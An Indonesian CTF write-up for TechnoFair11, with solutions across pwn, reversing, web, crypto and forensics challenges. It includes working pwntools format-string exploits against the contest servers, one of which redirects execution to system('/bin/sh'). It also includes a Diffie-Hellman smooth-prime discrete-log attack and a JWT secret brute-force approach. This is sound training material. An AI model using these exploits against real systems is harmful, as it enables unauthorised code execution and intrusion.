Download as pdf or txt
Download as pdf or txt
You are on page 1of 30

Write-Up

TechnoFair11CTF

hehe
k1nomi

yellow purple amazing sky tenet tenet eheh eheh

gelembo
Daftar Isi
Daftar Isi 2
PWN 3
Gary (304 pts) 3
Hashira (484 pts) 4
Reverse Engineering 7
Snakebyte (100 pts) 7
Web asem bali (100 pts) 8
when i say GO u GO (500 pts, UPSOLVED) 9
Web Exploitation 11
Jay Witan Thom (100 pts) 11
Cryptography 12
Kenangan (100 pts) 12
Xorban (100 pts) 14
Marsha (464 pts) 16
Forensics 22
eftipi (100 pts) 22
kurang berarti (100 pts) 27
Misc 30
Kerangka Berpikir (100 pts) 30
Feedback (1 pts) 30
PWN

Gary (304 pts)

Deskripsi

H3i, can you getme?


nc 103.185.53.181 6001
Author: Rival

Pada soal ini ada vuln format string. Pada fungsi main terdapat cek
variabel deadbeef. Flag didapat dengan mengubah deadbeef menjadi
deadc0de. Pertama leak stack dengan rbp atau rsp kemudian hitung
offset ke deadbeef untuk %n. Tapi ga work, jadi harus dicari dengan
sedikit coba-coba. Berikut script nya yang dijalankan dengan argv 48.

!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template gary
from pwn import *
from sys import argv

# Set up pwntools for the correct architecture


elf = exe = context.binary = ELF(args.EXE or 'gary')
context.terminal = ['kitty']

# Many built-in settings can be controlled on the command-line and show up


# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR

def start(argv=[], *a, **kw):


'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging


# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *main+87
b *main+159
c
'''.format(**locals())

p = start()
p = remote("103.185.53.181", 6001)
p.recvuntil("name? ")
p.sendline("%6$p")
p.recvuntil("Hi, ")

leak = int(p.recvline()[:-1], 16) - 388 + int(argv[1])


print(hex(leak))

p.recvuntil("deadbeef")

payload = b' '


payload += b'%49373p'
payload += b'%12$hnaa'
payload += p64(leak)

p.recvuntil("name? ")
p.sendline(payload)

p.sendline('exit')

print("TRY:", argv[1])
p.interactive()

Flag: TechnoFair11{Th1s_0nlY_format_str_VUln}

Hashira (484 pts)

Deskripsi

We would like to share information about the 9 pillars from the


Taisho era in Demon Slayer
nc 103.185.53.181 4441
Author: Rival

Pada soal ini ada vuln format string, tapi buffer di heap, ku dah
pernah buat soal yang mirip di hacktoday 2023 (janlup join 2024 bukan
bulan juli), tapi itu lebih gampang karena ada fungsi win, nah ini ga
ada jadi awalnya mau langsung yang gampang aja pake one_gadget tapi g
bisa” jir, constraint bener dsb bener, cuma ga work, terus liat
hintnya rop biasa yaudahlah rop aja.

#!/usr/bin/env python3
from pwn import *

elf = context.binary = ELF('./chall_patched')


libc = elf.libc
libc = ELF('./libc.so.6', checksec=False)
context.update(
log_level='debug'
)

sla = lambda x, y: p.sendlineafter(x, y)


sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rcall = lambda x: p.recvall(x)
rcud = lambda x: p.recvuntil(x, drop=True)
rcu = lambda x: p.recvuntil(x)
rcl = lambda: p.recvline(0)
rcn = lambda x: p.recv(x)
c64 = lambda x: u64(x.ljust(8, b'\x00')) << 8
c32 = lambda x: u32(x.ljust(4, b'\x00')) << 8
l64 = lambda x : u64(x.ljust(8, b'\x00'))
l32 = lambda x : u32(x.ljust(4, b'\x00'))
logi = lambda x, y: log.info(f'{x} = {hex(y)}')

def start():
global libc
if args.REMOTE:
return remote(HOST, PORT)
elif args.GDB:
return gdb.debug([elf.path], c)
else:
return elf.process()

# b* main+712
c = '''
b* main+761
c
'''

REMOTE = 'nc 103.185.53.181 4441'.replace('nc ', '').split(' ')


HOST = REMOTE[0] if REMOTE else ''
PORT = int(REMOTE[1]) if len(REMOTE) > 1 else 0

p = start()

sl(b'%9$p')
rcu(b'Sorry we don\'t have any information about ')
libc.address = eval(rcl()) - 0x24083

sl(b'%11$p')
rcu(b'Sorry we don\'t have any information about ')
rip = eval(rcl()) - 0xf0

payload = f'%{rip & 0xffff}c%11$hn'.encode()


sl(payload)

logi('libc.address', libc.address)
# ret = libc.address + 0x1075aa
ret = libc.address + 0x00000000000319c0
fp = ret & 0xffff
sp = (ret >> 16) & 0xffff

sl(f'%{fp}c%39$hn'.encode())

payload = f'%{(rip & 0xff) + 2}c%11$hhn'.encode()


sl(payload)

sl(f'%{sp}c%39$hhn'.encode())

payload = f'%{(rip & 0xffff) + 8}c%11$hn'.encode()


sl(payload)

logi('rip', rip)
logi('ret', ret)
logi('fp', fp)
logi('sp', sp)

fp = libc.sym.system & 0xffff


sp = (libc.sym.system >> 16) & 0xffff
tp = (libc.sym.system >> 32) & 0xffff

logi('system', libc.sym.system)
logi('fp', fp)
logi('sp', sp)

sl(f'%{fp}c%39$hn'.encode())

payload = f'%{(rip & 0xffff) + 10}c%11$hn'.encode()


sl(payload)
sl(f'%{sp}c%39$hn'.encode())

payload = f'%{(rip & 0xffff) + 12}c%11$hn'.encode()


sl(payload)
sl(f'%{tp}c%39$hn'.encode())

sl(b'quit; /bin/sh')

# sl(b'cat flag.txt')

p.interactive()

Flagnya kok spoiler gitu bang??

Flag: TechnoFair11{T4nJ1d0R_1s_Th3_D3m0n_K1n9^_^}

Reverse Engineering

Snakebyte (100 pts)

Deskripsi

My colleague sent me a compiled Python file. Why would anyone compile


Python source code? Is it possible to get the original Python source
code before it was compiled? Can you assist me with this?
Author: cauchips

Decompile aja pake pycdc atau apalah


from transformers import AutoTokenizer as A

T = A.from_pretrained('Xenova/gpt-4')
# Tkn = T.tokenize('flag{test}')
# Tid = T.convert_tokens_to_ids(Tkn)
# print(Tid)
# print(Tkn)
# print(T.decode(Tid))

w_o = sum(ord(c) for c in 'Technofair')


k_o = [ord(c) for c in 'secret-key']
enc = [30200989, 44161, 63530220, 875004, 74052862, 3760874, 30810,
87295, 121186, 53404, 127348, 55458, 69836, 98592, 53404, 2293291,
20540, 529932, 95511, 60593, 1802385, 120159, 49296, 87295, 93457,
105781, 878085, 126321, 88322, 72917, 127348, 32864, 1040351, 91403,
42107, 119132, 116051]
dec = [c // w_o for c in enc]
dec = [c ^ k_o[i % len(k_o)] for i, c in enumerate(dec)]
dec = T.decode(dec)
print(dec)

Flag: TechnoFair11{jUsT_4n0tH3r_eZ_pYc_w1tH_4_b1T_0f_lLm!}

Web asem bali (100 pts)

Ini somehow flagnya hardcoded

# local_1c = 0x0
local_8 = 0x69
local_2 = 0x63
local_6 = 0x46
local_10 = 0x5f
local_9 = 0x72
local_4 = 0x6e
local_a = 0x31
local_0 = 0x54
local_c = 0x7b
local_b = 0x31
local_3 = 0x68
local_d = 0x4c
local_12 = 0x4f
local_7 = 0x61
local_f = 0x68
local_15 = 0x39
local_1 = 0x65
local_19 = 0x7d
local_5 = 0x6f
local_14 = 0x5f
local_13 = 0x6b
local_17 = 0x74
local_11 = 0x6b
local_e = 0x30
local_18 = 0x55
local_16 = 0x49

for i in range(0x1a):
print(chr(eval(f'local_{hex(i)[2:]}')), end='')

Flag : TechnoFair11{L0h_kOk_9ItU}

when i say GO u GO (500 pts, UPSOLVED)

Males jelasin decompilenya udah dibagi juga sourcenya sama authornya,


intinya jumlah deret geom yang di mod buat keynya, key dan enc dikasih
dari remote conn

Intended :

Enc = [. . . get it from remote . . .]


key = enc[:25]
n = enc[25]
enc = enc[26:]
t = 1152921504606846976
s = (sum(key) * (pow(26, t, n) - 1) * pow(25,-1,n) ) % n
key = [(i + s) % n for i in key]
key = [i & 0xff for i in key]
enc = [i & 0xff for i in enc]
from pwn import xor
print(xor(key, enc))

Satu lagi ini hasil diskusi dengan teman wkwk, karena salah copas enc
nya jadi n nya ga prime jadi pas kucoba jalanin diatas gagal, terus
malah jadi ini

import numpy as np

# CONFIG
enc =[ . . . yeah . . .]
key = enc[:25]
# key = [2, 1, 10124]

MOD = enc[25]
# MOD = 1000000007
N = len(key)
R = N + 1
SUM = sum(key) % MOD
print(enc[25])
encc = enc[26:]

# UBAH SESUAI MAUNYA BERAPA


t = 1152921504606846976

# print(tmp)

# MATRIX EXPONENTIATION SOLUTION


def mat_pow(mat, p):
base = np.copy(mat)
result = np.eye(mat.shape[0], dtype=object)
while p > 0:
if p % 2 == 1:
result = np.dot(result, base) % MOD
base = np.dot(base, base) % MOD
p //= 2

return result

answer = []
for x in key:
a = np.array([
[x],
[SUM]
], dtype=object)
b = np.array([
[1, 1],
[0, R]
], dtype=object)
bt = mat_pow(b, t)
res = np.dot(bt, a) % MOD

answer.append(res[0, 0])

print(answer)

for i, j in zip(answer, encc):


print(chr((i ^ j) & 0xff), end='')

Iyak matrexpo

Web Exploitation

Jay Witan Thom (100 pts)

Deskripsi

Jay Witan Thom mencoba mengakses suatu website akan tetapi mereka
terlihat kesulitan untuk login. Bisakah kamu menolong Jay Witan dan
Thom untuk mengakses web tersebut ?

http://103.185.53.181:1945
Author: zodplugin

Nama soal mengindikasikan bahwa ini soal berkaitan dengan jwt, jadi
entah bagaimana caranya kita ubah role user menjadi admin, setelah
membaca vuln jwt saya hanya terpikirkan untuk brute secret key yang
digunakan untuk sing-in.

Saya menggunakan https://github.com/ticarpi/jwt_tool.

Tinggal sign jwt lagi di jwt.io ganti role jadi admin dapat flag

Flag: TechnoFair11{G4c0rrrr_In1_D14_JWT_Brut3_F0rC3_K3y}

Cryptography

Kenangan (100 pts)

Deskripsi

Yoriichi mengencrypt sebuah file gambarnya tetapi dia lupa cara


membukanya. Bisakah kamu membantu Yoriichi untuk membuka filenya?
Author : macaril

Diberikan chall.py dan hasil enkripsinya yaitu flag.enc. Berikut


adalah kode dari chall.py.

from Crypto.Cipher import AES


from Crypto.Util.Padding import pad
import os

with open("flag.png", "rb") as f:


flag = f.read()

key = os.urandom(1) * 16
iv = os.urandom(16)

cipher = AES.new(key, AES.MODE_CBC, iv)

ciphertext = cipher.encrypt(pad(flag, AES.block_size))

with open("flag.enc", "wb") as f:


f.write(iv + ciphertext)

Sesuai deskripsi soal, ini adalah gambar yang dienkripsi dengan AES
CBC biasa, dengan key-nya adalah 1 byte random di antara 0-255 yang
diulang sebanyak 16 kali. Untuk mendapatkan 1 byte tersebut, saya
melakukan bruteforcing dengan kode berikut.

from Crypto.Cipher import AES


from Crypto.Util.Padding import unpad
import os

file = open("flag.enc", "rb").read()


iv = file[:16]
ciphertext = file[16:]

for i in range(256):
key = int.to_bytes(i,1,'big') * 16
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
if b"PNG" in plaintext[:4]:
print("FOUND!!!")
print("key byte:", i)
with open("flag.png", "wb") as f:
f.write(plaintext)
break

Berikut adalah hasilnya.


Flag: TechnoFair11{Cek_Khodamnya_kakak}

Xorban (100 pts)

Deskripsi

Basic XOR

format flag : TechnoFair11{..}

Author: macaril

Diberikan chall.py dan output.txt.

import random
from secret import flag

key = [random.randint(1, 256) for _ in range(len(flag))]

xorban = []
enc = []
for i, v in enumerate(key):
k = 1
for j in range(i, 0, -1):
k ^= key[j]
xorban.append(k)
enc.append(flag[i] ^ v)

with open("output.txt", "w") as f:


f.write(f"{xorban=}\n")
f.write(f"{enc=}\n")

xorban=[1, 243, 128, 75, 251, 28, 249, 9, 231, 152, 154, 2, 237, 223, 175, 17, 5,
150, 118, 14, 173, 151, 242, 240, 176, 10, 209, 29, 236, 208, 222, 177, 183, 91,
162, 8, 12, 103, 221, 30, 119, 184]
enc=[105, 151, 16, 163, 222, 136, 163, 145, 135, 13, 51, 169, 148, 6, 30, 199, 97,
249, 137, 22, 252, 105, 81, 107, 36, 229, 175, 164, 192, 79, 81, 6, 117, 179, 186,
198, 48, 24, 201, 170, 10, 178]

Pada soal ini, basicnya adalah xor. Kita hanya perlu memahami hubungan
antara xorban dengan plaintext. Setelah melakukan eksplorasi, saya
menemukan fakta berikut (angka di sini tidak ada hubungannya dengan
soal, karena saya mencoba menjalankan chall.py sendiri).

Untuk elemen kedua dan seterusnya dari xorban, berlaku bahwa key xor
yang digunakan pada index i adalah: xorban[i] ^ xorban [i-1]. Langsung
saja, berikut adalah kode solver yang saya gunakan.

xorban=[1, 243, 128, 75, 251, 28, 249, 9, 231, 152, 154, 2, 237, 223, 175, 17, 5,
150, 118, 14, 173, 151, 242, 240, 176, 10, 209, 29, 236, 208, 222, 177, 183, 91,
162, 8, 12, 103, 221, 30, 119, 184]
enc=[105, 151, 16, 163, 222, 136, 163, 145, 135, 13, 51, 169, 148, 6, 30, 199, 97,
249, 137, 22, 252, 105, 81, 107, 36, 229, 175, 164, 192, 79, 81, 6, 117, 179, 186,
198, 48, 24, 201, 170, 10, 178]

res = ""
for i, c in enumerate(enc):
if i == 0:
continue
k = xorban[i] ^ xorban[i-1]
res += chr(c ^ k)

print(res)

Flag: TechnoFair11{4nyujin_S4id_th1s_is_Cl4ssic}

Marsha (464 pts)

Deskripsi

Seseorang berhasil melakukan serangan terhadap ruang chat antara


marsha dan pacarnya!!!

Author: AnYujin

nc 103.185.53.181 4254

Kita diberikan sebuah service dan soal.py yang berisikan source code
dari service tersebut.
Berikut adalah soal.py yang sudah saya annotate untuk menjelaskan
alurnya.

from Crypto.Util.number import *


from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import flag
import hashlib
import os
import random
import string

charset=string.printable

class dh():
def __init__(self,p,g):
self.p=p
self.g=g
self.privatekey=random.randrange(2,p-1)
self.pubkey=pow(g,self.privatekey,p)
self.BLOCK_SIZE=16

def get_pubkey(self):
return self.pubkey

def bytes_to_bin(self,val):
return "{:08b}".format(bytes_to_long(val))

def mult_mat(self,a,b,m):
assert len(a[0]) == len(b)
return [[sum([int(a[k][i]) * int(b[i][j]) for i in range(len(b))]) % m for j
in range(len(a))] for k in range(len(a))]

def add_mat(self,a,b,m):
assert len(a[0]) == len(b[0]) and len(a) == len(b)
return [[(int(a[i][j]) + int(b[i][j])) % m for j in range(len(a[0]))] for i
in range(len(a))]

def hex_to_bytes(self,msg):
return long_to_bytes(int(msg,16))

def bits_to_matrix(self,val):
temp=[list(val[i:i+16]) for i in range(0, 256, 16)]
return temp

def matrix_to_bits(self,val):
return ''.join(str(i) for j in val for i in j)

def bytes_to_hex(self,msg):
return "{0:x}".format(bytes_to_long(msg))

def generate_secret(self,pub):
self.sharedsecret=pow(pub,self.privatekey,self.p)
temp=("{0:b}".format(self.sharedsecret)).rjust(768,'0')
self.A,self.B,self.C=[temp[i:i+256] for i in range(0,768,256)]
self.A=self.bits_to_matrix(self.A)
self.B=self.bits_to_matrix(self.B)
self.C=self.bits_to_matrix(self.C)

def encrypt(self,msg):
msg=pad(msg,self.BLOCK_SIZE)
iv=os.urandom(self.BLOCK_SIZE)

cipher=AES.new(hashlib.sha256(long_to_bytes(self.sharedsecret)).digest(),AES.MODE_CB
C,iv=iv)
ct=cipher.encrypt(msg)
return self.bytes_to_hex(ct),self.bytes_to_hex(iv)

def decrypt(self,enc,iv,sig):

cipher=AES.new(hashlib.sha256(long_to_bytes(self.sharedsecret)).digest(),AES.MODE_CB
C,iv=self.hex_to_bytes(iv))
try:
pt=unpad(cipher.decrypt(self.hex_to_bytes(enc)),self.BLOCK_SIZE)
verif=(self.hash(pt)==sig)
return verif,pt.decode()
except:
return False,''

def hash(self,msg):
len_msg=len(msg)
msg=self.bytes_to_bin(msg)
if(msg[0]=='0'):
val=self.mult_mat(self.A,self.C,2)
else:
val=self.mult_mat(self.B,self.C,2)
msg=msg[1:]
for i in msg:
if int(i)==0:
val=self.mult_mat(self.mult_mat(val,self.A,2),self.C,2)
else:
val=self.mult_mat(self.mult_mat(val,self.B,2),self.C,2)
val=self.add_mat(val,self.C,2)
sig=self.matrix_to_bits(val)
return "{:x}".format(int(sig))

def kirim(self,msg):
sig=self.hash(msg)
enc,iv=self.encrypt(msg)
return enc,iv,sig

if __name__=='__main__':
p=getPrime(768)
g=8
print('Yujin sending modulo and base')
print(f'Modulo : {p}')
print(f'g : {g}')
print('Able to change modulo')
try:
inp=input("> ")
temp=len("{:08b}".format(int(p)))
if(temp>=512 and temp<=768):
pass
else:
print('Invalid value sending as it is')
p=int(inp)
except:
pass

# DH setup for Marsha


B=dh(p,g)
print("Marsha sending public key...")
print(f"Sucessfully intercepted Marsha's public key")
print(f"Marsha's public key : {B.get_pubkey()}")

# DH setup for Yujin


A=dh(p,g)

# Yujin generate pubkey


A.generate_secret(B.get_pubkey())
print("Yujin sending public key...")
print(f"Sucessfully intercepted Yujin's public key")
print(f"Yujin's public key : {A.get_pubkey()}")

# Marsha generate pubkey


B.generate_secret(A.get_pubkey())

# [ == shared secret is calculated == ]

# Marsha send message


enc,iv,sig=B.kirim(b"Halo, kamu apa kabar?")

# WE intercept the message


print(f"Successfully intercepted Marsha's message")
print(f'enc : {enc}')
print(f'iv : {iv}')
print(f'signature : {sig}')

# WE tamper message, system check that the message is


# ...valid hex (already encrypted)
try:
print("Able to change Marsha's encrypted message")
inp1=input("> ")
enc=int(inp1,16)
enc="{:x}".format(enc)
except:
print('Invalid value sending as it is')
pass

# Yujin will verify the message


verif,pt=A.decrypt(enc,iv,sig)

# Yujin must receive valid message


try:
assert all(i in charset for i in list(pt))
except:
print('Yujin left the chat...')
exit()

# to get flag, try to send something other than


# ..."halo kamu apa kabar"
if(not verif):
print('Yujin left the chat...')
elif pt!="Halo, kamu apa kabar?":
if verif:
enc,iv,sig=A.kirim(flag)
print(f"Successfully intercepted Yujin's message")
print(f'enc : {enc}')
print(f'iv : {iv}')
print(f'signature : {sig}')
else:
print('Yujin left the chat...')

# if you just forward Marsha's message, Yujin will not give flag
else:
enc,iv,sig=A.kirim(b"Aku baik, bentar ya aku tidur dulu...")
print(f"Successfully intercepted Yujin's message")
print(f'enc : {enc}')
print(f'iv : {iv}')
print(f'signature : {sig}')
print(f"Yujin left the chat...")

Intinya adalah sebagai berikut:


- Di awal, kita bisa mengubah parameter “modulo” atau p dari
protokol Diffie-Hellman pada komunikasi ini
- Kedua pihak (Marsha dan Yujin) akan saling mengirimkan public
key, dan menghitung shared secret
- Dengan shared secret, Marsha mengirim pesan “Halo, kamu apa
kabar?”. Pesan ini bisa kita ganti.
- Yujin akan membalas pesan berdasarkan pesan yang dikirimkan. Jika
seperti yang di atas (tidak diubah), Yujin akan membalas dengan
“Aku baik, bentar ya aku tidur dulu...”. Selain pesan di atas
(kita ubah) maka Yujin akan membalas dengan flag.
- Awalnya saya mengira bahwa signature-nya juga perlu diatur supaya
pesannya verified. Rupanya, di sini kita tidak perlu
memperhatikan signature karena pesan akan selalu verified, jadi
cukup pesannya saja.

Jadi sudah cukup jelas bahwa tujuan kita adalah mengetahui shared
secret mereka berdua supaya bisa mengganti pesan Marsha dengan pesan
lain yang bisa didekripsi oleh Yujin.

Celah utama dari protokol Diffie-Hellman adalah serangan discrete log,


yang disebabkan oleh pemilihan modulo atau p yang tidak kuat. Pada
soal ini, p bisa kita ubah, dan saya memasukkan p yang smooth, artinya
p-1 memiliki banyak faktor. Nilai p seperti ini rentan akan serangan
discrete log. Berikut adalah kode solver yang saya gunakan.

from sage.all import *


from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import *
import hashlib
from pwn import *

r = remote('103.185.53.181', 4254)

def encrypt(msg, shared_secret, iv):


key = hashlib.sha256(long_to_bytes(shared_secret)).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(msg,16))
return ciphertext

def decrypt(msg, shared_secret, iv):


key = hashlib.sha256(long_to_bytes(shared_secret)).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(msg)
plaintext = unpad(plaintext,16)
return plaintext

# get g
r.recvuntil(b'g : ')
g = int(r.readline()[:-1]) # g = 8

# generate smooth p
p = 2
k = 3
while (p < 2**512) or not isPrime(2*int(p) + 1):
p *= k
k = next_prime(k)
p = 2*p + 1

# send smooth p
r.recvuntil(b'> ')
r.sendline(str(p).encode())
# get A (Yujin's PK) and B (Marsha's PK) from service
r.recvuntil(b"Marsha's public key : ")
A = int(r.recvline()[:-1])
r.recvuntil(b"Yujin's public key : ")
B = int(r.recvline()[:-1])

# calculate shared secret


F = IntegerModRing(p)
a = discrete_log(F(A), F(g))
s = int(pow(B,a,p))

# get Marsha's message


r.recvuntil(b"enc : ")
enc = bytes.fromhex(r.readline()[:-1].decode())
r.recvuntil(b"iv : ")
iv = bytes.fromhex(r.readline()[:-1].decode())
marsha_msg = decrypt(enc,s,iv).decode()
print("Marsha's original message:", marsha_msg)

# send tampered message


tampered_msg = marsha_msg + 'a' # 'a' can be replaced with anything
tampered_msg = encrypt(tampered_msg.encode(),s,iv).hex().encode()
r.recvuntil(b'> ')
r.sendline(tampered_msg)

# get Yujin's reply


r.recvuntil(b"enc : ")
enc = bytes.fromhex(r.readline()[:-1].decode())
r.recvuntil(b"iv : ")
iv = bytes.fromhex(r.readline()[:-1].decode())
yujin_msg = decrypt(enc,s,iv).decode()
print("Yujin's message:", yujin_msg)

Flag: TechnoFair11{4Ku_4d4lAH_R4J4_M3ks1Ko_El_M4r5hal3}

Forensics

eftipi (100 pts)


Deskripsi

Jangan sebar rahasiaku!!!

Author : millkywaay

Diberikan file capture chall.pcapng.

Judul soal ini merujuk pada salah satu protokol yaitu FTP atau File
Transfer Protocol. Oleh karena itu, saya langsung memfilter
paket-paket yang memiliki protokol FTP.

Setelah membaca-baca paket yang ada, diketahui bahwa seseorang telah


melakukan pengiriman 3 file menggunakan FTP, yakni secret.txt.lst,
secret2.png, dan secret3.zip. Jika paket dengan protokol FTP berisi
log dari pengiriman file menggunakan FTP, data dari file-nya sendiri
ada pada FTP-DATA.

Berdasarkan petunjuk dari artikel ini, cara menyimpan file FTP dari
wireshark adalah dengan follow stream, ubah ke raw, lalu “save as”.

File pertama merupakan file text yang berisikan wordlist ini, namun
dengan kelebihan satu kata. Kata tersebut saya temukan dengan
membandingkan wordlist asli dengan secret.txt.lst menggunakan kode
dibawah. Satu kata lebih tersebut adalah “hilirasi”.

file1 = open("secret.txt.lst","r").readlines()
file2 = open("geovedi.txt","r").readlines()

for l1, l2 in zip(file1, file2):


if l1 == l2:
continue
else:
print(l1)
print(l2)
break

File kedua hanya berisikan clue.


File ketiga merupakan file zip yang dienkripsi. Kita bisa asumsikan
kata “hilirasi” tadi sebagai password dari file zip ini.

Sayang sekali, kita tidak bisa melakukan unzip pada file ini.

Alternatif lainnya adalah menggunakan GUI Linux lalu memasukkan


passwordnya.
Di dalam file zip ini, ada file “flag” yang jika dibuka menggunakan
hex editor tampak seperti berikut.

Di sini ada “DNEI” yang mungkin saja berasal dari “IEND”, header chunk
yang ada di akhir file PNG. Oleh karena itu, dapat diasumsikan bahwa
file ini merupukan file PNG yang memiliki urutan bytes terbalik.
Berikut adalah kode yang saya gunakan untuk membalik bytes dari file
ini.

with open("flag", 'rb') as file:


file_bytes = bytearray(file.read())

file_bytes = file_bytes[::-1]

with open("result.png", 'wb') as file:


file.write(file_bytes)

File PNG pun berhasil di-recover.

Flag: TechnoFair11{B3_c4R3FuLL_w1tH_sN1ff3r}
kurang berarti (100 pts)

Deskripsi

help me to find the hidden message in this photo

Author: H4NN

Diberikan chall.jpg dan enc.py.

Berikut adalah enc.py yang sudah saya annotate.

def insert_plaintext_into_image(input_file, output_file, plaintext, offset):

# read file
with open(input_file, 'rb') as file:
file_bytes = bytearray(file.read())

# change plaintext to binary


plaintext_binary = ''.join(format(ord(char), '08b') for char in plaintext)

plaintext_index = 0
plaintext_length = len(plaintext_binary)

# start from an offset


for i in range(offset, len(file_bytes)):
if plaintext_index < plaintext_length:
original_byte = file_bytes[i]
plaintext_bit = int(plaintext_binary[plaintext_index])

# update the file byte with these


new_byte = (original_byte & 0xFE) | plaintext_bit
file_bytes[i] = new_byte
plaintext_index += 1
else:
break

with open(output_file, 'wb') as file:


file.write(file_bytes)

print(f"{output_file}")

input_file = ''
output_file = 'chall.jpg'
plaintext = "flag"
offset = 0x00000D00
insert_plaintext_into_image(input_file, output_file, plaintext, offset)

Pada chall.jpg, telah ditaruh plaintext berupa binary string ke dalam


data bytes dari gambar. Saya mencoba melakukan eksplorasi untuk
memahami cara penaruhan plaintext tersebut.

Di sini, & 0xFE akan membulatkan suatu bilangan ke bilangan genap


sebelumnya. Setelah itu, melakukan | 1 pada hasilnya sama seperti
menambahkan nilai hasilnya dengan 1 (atau 0 jika | 0). Intinya, dapat
ditarik kesimpulan bahwa jika suatu byte gambar ganjil, maka bit
binary dari plaintext nya adalah ‘1’, sedangkan jika byte-nya genap
maka ‘0’.

Karena panjang flag tidak diketahui, saya asumsikan saja panjang


binary stringnya terdiri dari 800 bit.

with open("chall.jpg", 'rb') as file:


file_bytes = bytearray(file.read())
offset = 0x00000D00

result_bin = ""

print("skjhagd")
# start from an offset
for i in range(offset, len(file_bytes)):
if i == 800:
break
if (file_bytes[i] % 2) == 0:
result_bin += '0'
else:
result_bin += '1'

print(result_bin)

Hasil binarynya kita tinggal decode saja menggunakan Cyberchef.


Flag: TechnoFair11{patenkalikaubang}

Misc

Kerangka Berpikir (100 pts)

Deskripsi

Soal tersulit di dunia

Flag: TechnoFair11{Kerangka Berpikir}

Feedback (1 pts)

Deskripsi

https://forms.gle/oVg35Hhb3jy66VEy5

feedback.

Soal tersulit di dunia #2

Flag: TechnoFair11{See_YouIn_Depok}

You might also like